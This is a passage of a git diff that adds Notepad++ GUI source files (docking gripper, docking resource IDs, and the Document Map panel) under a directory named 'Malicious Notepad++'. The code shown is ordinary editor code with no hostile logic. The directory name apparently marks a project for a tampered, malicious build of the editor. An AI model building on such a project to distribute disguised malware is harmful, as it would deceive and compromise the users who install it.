~Gripper() { + if (_hdc) { + // usually this should already have been done by a call to drawRectangle(), + // here just for cases where usual handling was interrupted (jg) + #ifdef USE_LOCKWINDOWUPDATE + ::LockWindowUpdate(NULL); + #endif + ::ReleaseDC(0, _hdc); + } + if (_hbm) { + ::DeleteObject(_hbm); + } + if (_hbrush) { + ::DeleteObject(_hbrush); + } + }; + +protected : + + void create(); + + static LRESULT CALLBACK staticWinProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + LRESULT runProc(UINT Message, WPARAM wParam, LPARAM lParam); + + void onMove(); + void onButtonUp(); + + void doTabReordering(POINT pt); + void drawRectangle(const POINT* pPt); + void getMousePoints(POINT* pt, POINT* ptPrev); + void getMovingRect(POINT pt, RECT *rc); + DockingCont * contHitTest(POINT pt); + DockingCont * workHitTest(POINT pt, RECT *rcCont = NULL); + + void initTabInformation(); + + void CalcRectToScreen(HWND hWnd, RECT *rc) { + ClientRectToScreenRect(hWnd, rc); + ShrinkRcToSize(rc); + }; + void CalcRectToClient(HWND hWnd, RECT *rc) { + ScreenRectToClientRect(hWnd, rc); + ShrinkRcToSize(rc); + }; + void ShrinkRcToSize(RECT *rc) { + rc->right -= rc->left; + rc->bottom -= rc->top; + }; + void DoCalcGripperRect(RECT* rc, RECT rcCorr, POINT pt) { + if ((rc->left + rc->right) < pt.x) + rc->left = pt.x - 20; + if ((rc->top + rc->bottom) < pt.y) + rc->top += rcCorr.bottom - rc->bottom; + }; + +private: + // Handle + HINSTANCE _hInst; + HWND _hParent; + HWND _hSelf; + + // data of container + tDockMgr _dockData; + DockingManager *_pDockMgr; + DockingCont *_pCont; + + // mouse offset in moving rectangle + POINT _ptOffset; + + // remembers old mouse point + POINT _ptOld; + BOOL _bPtOldValid; + + // remember last drawn rectangle (jg) + RECT _rcPrev; + + // for sorting tabs + HWND _hTab; + HWND _hTabSource; + BOOL _startMovingFromTab; + int _iItem; + RECT _rcItem; + TCITEM _tcItem; + + HDC _hdc; + HBITMAP _hbm; + HBRUSH _hbrush; + + // is class registered + static BOOL _isRegistered; +}; + +#endif // GRIPPER_H diff --git a/Malicious Notepad++/src/WinControls/DockingWnd/dockingResource.h b/Malicious Notepad++/src/WinControls/DockingWnd/dockingResource.h new file mode 100644 index 0000000..8b83f91 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DockingWnd/dockingResource.h @@ -0,0 +1,81 @@ +// this file is part of docking functionality for Notepad++ +// Copyright (C)2006 Jens Lorenz +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef DOCKING_RESOURCE_H +#define DOCKING_RESOURCE_H + +#define DM_NOFOCUSWHILECLICKINGCAPTION TEXT("NOFOCUSWHILECLICKINGCAPTION") + +#define IDD_PLUGIN_DLG 103 +#define IDC_EDIT1 1000 + + +#define IDB_CLOSE_DOWN 137 +#define IDB_CLOSE_UP 138 +#define IDD_CONTAINER_DLG 139 + +#define IDC_TAB_CONT 1027 +#define IDC_CLIENT_TAB 1028 +#define IDC_BTN_CAPTION 1050 + +#define DMM_MSG 0x5000 + #define DMM_CLOSE (DMM_MSG + 1) + #define DMM_DOCK (DMM_MSG + 2) + #define DMM_FLOAT (DMM_MSG + 3) + #define DMM_DOCKALL (DMM_MSG + 4) + #define DMM_FLOATALL (DMM_MSG + 5) + #define DMM_MOVE (DMM_MSG + 6) + #define DMM_UPDATEDISPINFO (DMM_MSG + 7) + #define DMM_GETIMAGELIST (DMM_MSG + 8) + #define DMM_GETICONPOS (DMM_MSG + 9) + #define DMM_DROPDATA (DMM_MSG + 10) + #define DMM_MOVE_SPLITTER (DMM_MSG + 11) + #define DMM_CANCEL_MOVE (DMM_MSG + 12) + #define DMM_LBUTTONUP (DMM_MSG + 13) + +#define DMN_FIRST 1050 + #define DMN_CLOSE (DMN_FIRST + 1) + //nmhdr.code = DWORD(DMN_CLOSE, 0)); + //nmhdr.hwndFrom = hwndNpp; + //nmhdr.idFrom = ctrlIdNpp; + + #define DMN_DOCK (DMN_FIRST + 2) + #define DMN_FLOAT (DMN_FIRST + 3) + //nmhdr.code = DWORD(DMN_XXX, int newContainer); + //nmhdr.hwndFrom = hwndNpp; + //nmhdr.idFrom = ctrlIdNpp; + + #define DMN_SWITCHIN (DMN_FIRST + 4) + #define DMN_SWITCHOFF (DMN_FIRST + 5) + #define DMN_FLOATDROPPED (DMN_FIRST + 6) + //nmhdr.code = DWORD(DMN_XXX, 0); + //nmhdr.hwndFrom = DockingCont::_hself; + //nmhdr.idFrom = 0; + +#endif //DOCKING_RESOURCE_H + diff --git a/Malicious Notepad++/src/WinControls/DocumentMap/documentMap.cpp b/Malicious Notepad++/src/WinControls/DocumentMap/documentMap.cpp new file mode 100644 index 0000000..f90dd78 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DocumentMap/documentMap.cpp @@ -0,0 +1,631 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "documentMap.h" +#include "ScintillaEditView.h" + + +void DocumentMap::reloadMap() +{ + if (_pMapView && _ppEditView) + { + Document currentDoc = (*_ppEditView)->execute(SCI_GETDOCPOINTER); + _pMapView->execute(SCI_SETDOCPOINTER, 0, static_cast(currentDoc)); + + // + // sync with the current document + // + + Buffer *editBuf = (*_ppEditView)->getCurrentBuffer(); + _pMapView->setCurrentBuffer(editBuf); + + // folding + std::vector lineStateVector; + (*_ppEditView)->getCurrentFoldStates(lineStateVector); + _pMapView->syncFoldStateWith(lineStateVector); + + // Wrapping + if ((*_ppEditView)->isWrap() && needToRecomputeWith()) + { + wrapMap(); + } + + scrollMap(); + } +} + +void DocumentMap::showInMapTemporarily(Buffer *buf2show, ScintillaEditView *fromEditView) +{ + if (_pMapView && fromEditView) + { + _pMapView->execute(SCI_SETDOCPOINTER, 0, static_cast(buf2show->getDocument())); + _pMapView->setCurrentBuffer(buf2show); + + // folding + const std::vector & lineStateVector = buf2show->getHeaderLineState(fromEditView); + _pMapView->syncFoldStateWith(lineStateVector); + + // Wrapping + if (fromEditView->isWrap() && needToRecomputeWith(fromEditView)) + { + wrapMap(fromEditView); + } + + MapPosition mp = buf2show->getMapPosition(); + if (mp.isValid()) + scrollMapWith(mp); + } +} + +void DocumentMap::setSyntaxHiliting() +{ + Buffer *buf = _pMapView->getCurrentBuffer(); + _pMapView->defineDocType(buf->getLangType()); + _pMapView->showMargin(ScintillaEditView::_SC_MARGE_FOLDER, false); +} + +bool DocumentMap::needToRecomputeWith(const ScintillaEditView *editView) +{ + const ScintillaEditView *pEditView = editView ? editView : *_ppEditView; + + auto currentZoom = pEditView->execute(SCI_GETZOOM); + if (_displayZoom != currentZoom) + return true; + + int currentTextZoneWidth = getEditorTextZoneWidth(editView); + if (_displayWidth != currentTextZoneWidth) + return true; + + return false; +} + +void DocumentMap::initWrapMap() +{ + if (_pMapView && _ppEditView) + { + RECT rect; + getClientRect(rect); + ::MoveWindow(_pMapView->getHSelf(), 0, 0, rect.right - rect.left, rect.bottom-rect.top, TRUE); + _pMapView->wrap(false); + _pMapView->redraw(true); + + bool isRTL = (*_ppEditView)->isTextDirectionRTL(); + if (_pMapView->isTextDirectionRTL() != isRTL) + _pMapView->changeTextDirection(isRTL); + } +} + +void DocumentMap::changeTextDirection(bool isRTL) +{ + _pMapView->changeTextDirection(isRTL); +} + +/* +double ddd = (double)Xlength1/(double)Xlength2; +char dchar[256]; +sprintf(dchar, "%f", ddd); +::MessageBoxA(NULL, dchar, "", MB_OK); + + // -10 => 1 + // -9 => 1 + // -8 => 1 + // -7 => 1 + // -6 => 1.5 + // -5 => 2 + // -4 => 2.5 + // -3 => 2.5 + // -2 => 3.5 + // -1 => 3.5 + // 0: -10 => 4 + // 1 => 4.5 + // 2 => 5 + // 3 => 5 + // 4 => 5.5 + // 5 => 6 + // 6 => 6.5 + // 7 => 7 + // 8 => 7 + // 9 => 7.5 + // 10 => 8 + // 11 => 8.5 + // 12 => 8.5 + // 13 => 9.5 + // 14 => 9.5 + // 15 => 10 + // 16 => 10.5 + // 17 => 11 + // 18 => 11 + // 19 => 11.5 + // 20 => 12 +*/ +double zoomRatio[] = {1, 1, 1, 1, 1.5, 2, 2.5, 2.5, 3.5, 3.5,\ +4, 4.5, 5, 5, 5.5, 6, 6.5, 7, 7, 7.5, 8, 8.5, 8.5, 9.5, 9.5, 10, 10.5, 11, 11, 11.5, 12}; + +void DocumentMap::wrapMap(const ScintillaEditView *editView) +{ + const ScintillaEditView *pEditView = editView ? editView : *_ppEditView; + RECT rect; + getClientRect(rect); + if (pEditView->isWrap()) + { + // get current scintilla width W1 + int editZoneWidth = getEditorTextZoneWidth(editView); + + // update the wrap needed data + _displayWidth = editZoneWidth; + _displayZoom = static_cast(pEditView->execute(SCI_GETZOOM)); + double zr = zoomRatio[_displayZoom + 10]; + + // compute doc map width: dzw/ezw = 1/zoomRatio + double docMapWidth = editZoneWidth / zr; + + ::MoveWindow(_pMapView->getHSelf(), 0, 0, int(docMapWidth), rect.bottom-rect.top, TRUE); + _pMapView->wrap(true); + + // sync wrapping indent mode + _pMapView->execute(SCI_SETWRAPINDENTMODE, pEditView->execute(SCI_GETWRAPINDENTMODE)); + + } +} + +int DocumentMap::getEditorTextZoneWidth(const ScintillaEditView *editView) +{ + const ScintillaEditView *pEditView = editView ? editView : *_ppEditView; + + RECT editorRect; + pEditView->getClientRect(editorRect); + + int marginWidths = 0; + for (int m = 0; m < 4; ++m) + { + marginWidths += static_cast(pEditView->execute(SCI_GETMARGINWIDTHN, m)); + } + return editorRect.right - editorRect.left - marginWidths; +} + +void DocumentMap::scrollMap() +{ + if (_pMapView && _ppEditView) + { + // Visible document line for the code view (but not displayed line) + auto firstVisibleDisplayLine = (*_ppEditView)->execute(SCI_GETFIRSTVISIBLELINE); + const auto firstVisibleDocLine = (*_ppEditView)->execute(SCI_DOCLINEFROMVISIBLE, firstVisibleDisplayLine); + const auto nbLine = (*_ppEditView)->execute(SCI_LINESONSCREEN, firstVisibleDisplayLine); + const auto lastVisibleDocLine = (*_ppEditView)->execute(SCI_DOCLINEFROMVISIBLE, firstVisibleDisplayLine + nbLine); + + // Visible document line for the map view + auto firstVisibleDisplayLineMap = _pMapView->execute(SCI_GETFIRSTVISIBLELINE); + auto firstVisibleDocLineMap = _pMapView->execute(SCI_DOCLINEFROMVISIBLE, firstVisibleDisplayLineMap); + auto nbLineMap = _pMapView->execute(SCI_LINESONSCREEN, firstVisibleDocLineMap); + auto lastVisibleDocLineMap = _pMapView->execute(SCI_DOCLINEFROMVISIBLE, firstVisibleDisplayLineMap + nbLineMap); + + // If part of editor view is out of map, then scroll map + LRESULT mapLineToScroll = 0; + if (lastVisibleDocLineMap < lastVisibleDocLine) + mapLineToScroll = lastVisibleDocLine; + else + mapLineToScroll = firstVisibleDocLine; + // + // Scroll to make whole view zone visible + // + _pMapView->execute(SCI_GOTOLINE, mapLineToScroll); + + // Get the editor's higher/lower Y, then compute the map's higher/lower Y + LRESULT higherY = 0; + LRESULT lowerY = 0; + LRESULT higherPos = -1 ; // -1 => not (*_ppEditView)->isWrap() + if (not (*_ppEditView)->isWrap()) + { + higherPos = _pMapView->execute(SCI_POSITIONFROMLINE, firstVisibleDocLine); + auto lowerPos = _pMapView->execute(SCI_POSITIONFROMLINE, lastVisibleDocLine); + higherY = _pMapView->execute(SCI_POINTYFROMPOSITION, 0, higherPos); + lowerY = _pMapView->execute(SCI_POINTYFROMPOSITION, 0, lowerPos); + if (lowerY == 0) + { + auto lineHeight = _pMapView->execute(SCI_TEXTHEIGHT, firstVisibleDocLine); + lowerY = nbLine * lineHeight + firstVisibleDocLine; + } + } + else + { + // Get the position of the 1st showing char from the original edit view + higherPos = (*_ppEditView)->execute(SCI_POSITIONFROMPOINT, 0, 0); + + // Get the map higher Y point from the position in map + higherY = _pMapView->execute(SCI_POINTYFROMPOSITION, 0, static_cast(higherPos)); + + // Get line height + auto lineHeight = _pMapView->execute(SCI_TEXTHEIGHT, firstVisibleDocLine); + + // Get the map lower Y point + lowerY = nbLine * lineHeight + higherY; + } + + // + // Mark view zone in map + // + _vzDlg.drawZone(static_cast(higherY), static_cast(lowerY)); + } +} + +void DocumentMap::scrollMapWith(const MapPosition & mapPos) +{ + if (_pMapView) + { + // Visible document line for the map view + auto firstVisibleDisplayLineMap = _pMapView->execute(SCI_GETFIRSTVISIBLELINE); + auto firstVisibleDocLineMap = _pMapView->execute(SCI_DOCLINEFROMVISIBLE, firstVisibleDisplayLineMap); + auto nbLineMap = _pMapView->execute(SCI_LINESONSCREEN, firstVisibleDocLineMap); + auto lastVisibleDocLineMap = _pMapView->execute(SCI_DOCLINEFROMVISIBLE, firstVisibleDisplayLineMap + nbLineMap); + + // If part of editor view is out of map, then scroll map + LRESULT mapLineToScroll = 0; + if (lastVisibleDocLineMap < mapPos._lastVisibleDocLine) + mapLineToScroll = mapPos._lastVisibleDocLine; + else + mapLineToScroll = mapPos._firstVisibleDocLine; + // + // Scroll to make whole view zone visible + // + _pMapView->execute(SCI_GOTOLINE, mapLineToScroll); + + // Get the editor's higher/lower Y, then compute the map's higher/lower Y + LRESULT higherY = 0; + LRESULT lowerY = 0; + if (not mapPos._isWrap) + { + auto higherPos = _pMapView->execute(SCI_POSITIONFROMLINE, mapPos._firstVisibleDocLine); + auto lowerPos = _pMapView->execute(SCI_POSITIONFROMLINE, mapPos._lastVisibleDocLine); + higherY = _pMapView->execute(SCI_POINTYFROMPOSITION, 0, higherPos); + lowerY = _pMapView->execute(SCI_POINTYFROMPOSITION, 0, lowerPos); + if (lowerY == 0) + { + auto lineHeight = _pMapView->execute(SCI_TEXTHEIGHT, mapPos._firstVisibleDocLine); + lowerY = mapPos._nbLine * lineHeight + mapPos._firstVisibleDocLine; + } + } + else + { + higherY = _pMapView->execute(SCI_POINTYFROMPOSITION, 0, static_cast(mapPos._higherPos)); + auto lineHeight = _pMapView->execute(SCI_TEXTHEIGHT, mapPos._firstVisibleDocLine); + lowerY = mapPos._nbLine * lineHeight + higherY; + } + + // + // Mark view zone in map + // + _vzDlg.drawZone(static_cast(higherY), static_cast(lowerY)); + } +} + +void DocumentMap::doMove() +{ + RECT rc; + POINT pt = {0,0}; + ::ClientToScreen(_hSelf, &pt); + getClientRect(rc); + ::MoveWindow(_vzDlg.getHSelf(), pt.x, pt.y, (rc.right - rc.left), (rc.bottom - rc.top), TRUE); +} + +void DocumentMap::fold(int line, bool foldOrNot) +{ + _pMapView->fold(line, foldOrNot); +} + +void DocumentMap::foldAll(bool mode) +{ + _pMapView->foldAll(mode); +} + +void DocumentMap::scrollMap(bool direction, moveMode whichMode) +{ + // Visible line for the code view + auto firstVisibleDisplayLine = (*_ppEditView)->execute(SCI_GETFIRSTVISIBLELINE); + auto nbLine = (*_ppEditView)->execute(SCI_LINESONSCREEN, firstVisibleDisplayLine); + auto nbLine2go = (whichMode == perLine ? 1 : nbLine); + (*_ppEditView)->execute(SCI_LINESCROLL, 0, (direction == moveDown) ? nbLine2go : -nbLine2go); + + scrollMap(); +} + +void DocumentMap::redraw(bool) const +{ + _pMapView->execute(SCI_COLOURISE, 0, -1); +} + +INT_PTR CALLBACK DocumentMap::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG : + { + HWND hwndScintilla = reinterpret_cast(::SendMessage(_hParent, NPPM_CREATESCINTILLAHANDLE, 0, reinterpret_cast(_hSelf))); + _pMapView = reinterpret_cast(::SendMessage(_hParent, NPPM_INTERNAL_GETSCINTEDTVIEW, 0, reinterpret_cast(hwndScintilla))); + _pMapView->execute(SCI_SETZOOM, static_cast(-10), 0); + _pMapView->execute(SCI_SETVSCROLLBAR, FALSE, 0); + _pMapView->execute(SCI_SETHSCROLLBAR, FALSE, 0); + + _pMapView->showIndentGuideLine(false); + _pMapView->display(); + + reloadMap(); + + _vzDlg.init(::GetModuleHandle(NULL), _hSelf); + _vzDlg.doDialog(); + (NppParameters::getInstance())->SetTransparent(_vzDlg.getHSelf(), 50); // 0 <= transparancy < 256 + + setSyntaxHiliting(); + + _pMapView->showMargin(0, false); + _pMapView->showMargin(1, false); + _pMapView->showMargin(2, false); + _pMapView->showMargin(3, false); + + return TRUE; + } + + case WM_SIZE: + { + if (_pMapView) + { + int width = LOWORD(lParam); + int height = HIWORD(lParam); + + if (_vzDlg.isCreated()) + { + POINT pt = {0,0}; + ::ClientToScreen(_hSelf, &pt); + if (!_pMapView->isWrap()) + ::MoveWindow(_pMapView->getHSelf(), 0, 0, width, height, TRUE); + + ::MoveWindow(_vzDlg.getHSelf(), pt.x, pt.y, width, height, TRUE); + } + } + break; + } + + case WM_NOTIFY: + { + switch (((LPNMHDR)lParam)->code) + { + case DMN_CLOSE: + { + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_DOC_MAP, 0); + return TRUE; + } + + case DMN_SWITCHIN: + { + _vzDlg.display(); + reloadMap(); + setSyntaxHiliting(); + return TRUE; + } + + case DMN_SWITCHOFF: + { + _vzDlg.display(false); + return TRUE; + } + + case DMN_FLOATDROPPED: + { + RECT rc; + getClientRect(rc); + int width = rc.right - rc.left; + int height = rc.bottom - rc.top; + + POINT pt = {0,0}; + ::ClientToScreen(_hSelf, &pt); + ::MoveWindow(_vzDlg.getHSelf(), pt.x, pt.y, width, height, TRUE); + scrollMap(); + return TRUE; + } + + case NM_DBLCLK: + { + return TRUE; + } + + default: + break; + } + } + return TRUE; + + case DOCUMENTMAP_SCROLL: + { + bool dir = (wParam != 0); + moveMode mode = (lParam == 0)?perLine:perPage; + scrollMap(dir, mode); + } + return TRUE; + + case DOCUMENTMAP_MOUSECLICKED: + { + int newPosY = HIWORD(lParam); + int currentCenterPosY = _vzDlg.getCurrentCenterPosY(); + int pixelPerLine = static_cast(_pMapView->execute(SCI_TEXTHEIGHT, 0)); + int jumpDistance = newPosY - currentCenterPosY; + int nbLine2jump = jumpDistance/pixelPerLine; + (*_ppEditView)->execute(SCI_LINESCROLL, 0, nbLine2jump); + + scrollMap(); + } + return TRUE; + + case DOCUMENTMAP_MOUSEWHEEL: + { + (*_ppEditView)->mouseWheel(wParam, lParam); + } + return TRUE; + + default : + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); + } + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); +} + +void ViewZoneDlg::drawPreviewZone(DRAWITEMSTRUCT *pdis) +{ + RECT rc = pdis->rcItem; + + const COLORREF orange = RGB(0xFF, 0x80, 0x00); + const COLORREF white = RGB(0xFF, 0xFF, 0xFF); + HBRUSH hbrushFg = CreateSolidBrush(orange); + HBRUSH hbrushBg = CreateSolidBrush(white); + FillRect(pdis->hDC, &rc, hbrushBg); + + rc.top = _higherY; + rc.bottom = _lowerY; + FillRect(pdis->hDC, &rc, hbrushFg); + + DeleteObject(hbrushFg); + DeleteObject(hbrushBg); +} + +void ViewZoneDlg::doDialog() +{ + if (!isCreated()) + create(IDD_VIEWZONE); + display(); +}; + +INT_PTR CALLBACK ViewZoneDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG : + { + _viewZoneCanvas = ::GetDlgItem(_hSelf, IDC_VIEWZONECANVAS); + if (NULL != _viewZoneCanvas) + { + ::SetWindowLongPtr(_viewZoneCanvas, GWLP_USERDATA, reinterpret_cast(this)); + _canvasDefaultProc = reinterpret_cast(::SetWindowLongPtr(_viewZoneCanvas, GWLP_WNDPROC, reinterpret_cast(canvasStaticProc))); + return TRUE; + } + break; + } + + case WM_LBUTTONDOWN: + { + ::SendMessage(_hParent, DOCUMENTMAP_MOUSECLICKED, wParam, lParam); + break; + } + + case WM_MOUSEMOVE: + { + if (wParam & MK_LBUTTON) + ::SendMessage(_hParent, DOCUMENTMAP_MOUSECLICKED, wParam, lParam); + break; + } + + case WM_DRAWITEM : + { + drawPreviewZone((DRAWITEMSTRUCT *)lParam); + return TRUE; + } + + case WM_SIZE: + { + if (NULL != _viewZoneCanvas) + { + int width = LOWORD(lParam); + int height = HIWORD(lParam); + ::MoveWindow(_viewZoneCanvas, 0, 0, width , height, TRUE); + } + break; + } + + case WM_MOUSEWHEEL : + { + //Have to perform the scroll first, because the first/last line do not get updated untill after the scroll has been parsed + ::SendMessage(_hParent, DOCUMENTMAP_MOUSEWHEEL, wParam, lParam); + return TRUE; + } + + case WM_DESTROY : + { + return TRUE; + } + } + return FALSE; +} + +LRESULT CALLBACK ViewZoneDlg::canvasStaticProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + ViewZoneDlg *pViewZoneDlg = reinterpret_cast(::GetWindowLongPtr(hwnd, GWLP_USERDATA)); + if (!pViewZoneDlg) + return FALSE; + return pViewZoneDlg->canvas_runProc(hwnd, message, wParam, lParam); +} + +LRESULT CALLBACK ViewZoneDlg::canvas_runProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_DESTROY: + { + //::MessageBoxA(NULL,"Destroy","",MB_OK); + } + return TRUE; + + case WM_KEYDOWN: + if (wParam == VK_UP) + { + ::SendMessage(_hParent, DOCUMENTMAP_SCROLL, static_cast(moveUp), 0); + } + if (wParam == VK_DOWN) + { + ::SendMessage(_hParent, DOCUMENTMAP_SCROLL, static_cast(moveDown), 0); + } + if (wParam == VK_PRIOR) + { + ::SendMessage(_hParent, DOCUMENTMAP_SCROLL, static_cast(moveUp), 1); + } + if (wParam == VK_NEXT) + { + ::SendMessage(_hParent, DOCUMENTMAP_SCROLL, static_cast(moveDown), 1); + } + break; + + case WM_SIZE: + { + break; + } + + case WM_NOTIFY: + { + } + return TRUE; + + default : + return _canvasDefaultProc(hwnd, message, wParam, lParam); + } + return _canvasDefaultProc(hwnd, message, wParam, lParam); +} \ No newline at end of file diff --git a/Malicious Notepad++/src/WinControls/DocumentMap/documentMap.h b/Malicious Notepad++/src/WinControls/DocumentMap/documentMap.h new file mode 100644 index 0000000..3327398 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DocumentMap/documentMap.h @@ -0,0 +1,154 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "DockingDlgInterface.h" +#include "documentMap_rc.h" + +#define DM_PANELTITLE TEXT("Document Map") + +#define DOCUMENTMAP_SCROLL (WM_USER + 1) +#define DOCUMENTMAP_MOUSECLICKED (WM_USER + 2) +#define DOCUMENTMAP_MOUSEWHEEL (WM_USER + 3) + +class ScintillaEditView; +class Buffer; +struct MapPosition; + +const bool moveDown = true; +const bool moveUp = false; + + +enum moveMode { + perLine, + perPage +}; + +class ViewZoneDlg : public StaticDialog +{ +public : + ViewZoneDlg() : StaticDialog(), _viewZoneCanvas(NULL), _canvasDefaultProc(nullptr), _higherY(0), _lowerY(0) {} + + void doDialog(); + + virtual void destroy() {}; + + void drawZone(long hY, long lY) { + _higherY = hY; + _lowerY = lY; + if (NULL != _viewZoneCanvas) + ::InvalidateRect(_viewZoneCanvas, NULL, TRUE); + }; + + int getViewerHeight() const { + return (_lowerY - _higherY); + }; + + int getCurrentCenterPosY() const { + return (_lowerY - _higherY)/2 + _higherY; + }; + +protected : + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + + static LRESULT CALLBACK canvasStaticProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam); + LRESULT CALLBACK canvas_runProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam); + + void drawPreviewZone(DRAWITEMSTRUCT *pdis); + +private : + HWND _viewZoneCanvas = nullptr; + WNDPROC _canvasDefaultProc = nullptr; + + long _higherY; + long _lowerY; +}; + + +class DocumentMap : public DockingDlgInterface { +public: + DocumentMap(): DockingDlgInterface(IDD_DOCUMENTMAP) {}; + + void create(tTbData * data, bool isRTL = false) { + DockingDlgInterface::create(data, isRTL); + data->pszAddInfo = id4dockingCont.c_str(); + }; + + void init(HINSTANCE hInst, HWND hPere, ScintillaEditView **ppEditView) { + DockingDlgInterface::init(hInst, hPere); + _ppEditView = ppEditView; + }; + + virtual void display(bool toShow = true) const { + DockingDlgInterface::display(toShow); + _vzDlg.display(); + }; + + virtual void redraw(bool forceUpdate = false) const; + + void setParent(HWND parent2set){ + _hParent = parent2set; + }; + + void vzDlgDisplay(bool toShow = true) { + _vzDlg.display(toShow); + } + + void reloadMap(); + void showInMapTemporarily(Buffer *buf2show, ScintillaEditView *fromEditView); + void wrapMap(const ScintillaEditView *editView = nullptr); + void initWrapMap(); + void scrollMap(); + void scrollMap(bool direction, moveMode whichMode); + void scrollMapWith(const MapPosition & mapPos); + void doMove(); + void fold(int line, bool foldOrNot); + void foldAll(bool mode); + void setSyntaxHiliting(); + void changeTextDirection(bool isRTL); + bool isTemporarilyShowing() const { return _isTemporarilyShowing; }; + void setTemporarilyShowing(bool tempShowing) { _isTemporarilyShowing = tempShowing; } + +protected: + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + bool needToRecomputeWith(const ScintillaEditView *editView = nullptr); + int getEditorTextZoneWidth(const ScintillaEditView *editView = nullptr); + +private: + ScintillaEditView **_ppEditView = nullptr; + ScintillaEditView *_pMapView = nullptr; + ViewZoneDlg _vzDlg; + + bool _isTemporarilyShowing = false; + + // for needToRecomputeWith function + int _displayZoom = -1; + int _displayWidth = 0; + generic_string id4dockingCont = DM_NOFOCUSWHILECLICKINGCAPTION; +}; diff --git a/Malicious Notepad++/src/WinControls/DocumentMap/documentMap.rc b/Malicious Notepad++/src/WinControls/DocumentMap/documentMap.rc new file mode 100644 index 0000000..008677f --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DocumentMap/documentMap.rc @@ -0,0 +1,45 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "documentMap_rc.h" + +IDD_DOCUMENTMAP DIALOGEX 26, 41, 142, 324 +STYLE DS_SETFONT | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE +CAPTION "Document Map" +FONT 8, "MS Sans Serif", 0, 0, 0x0 +BEGIN +END + +IDD_VIEWZONE DIALOGEX 26, 41, 200, 200 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_POPUP +FONT 8, "MS Sans Serif", 0, 0, 0x0 +BEGIN + CONTROL "",IDC_VIEWZONECANVAS,"Static",SS_OWNERDRAW,0,0,50,14 +END diff 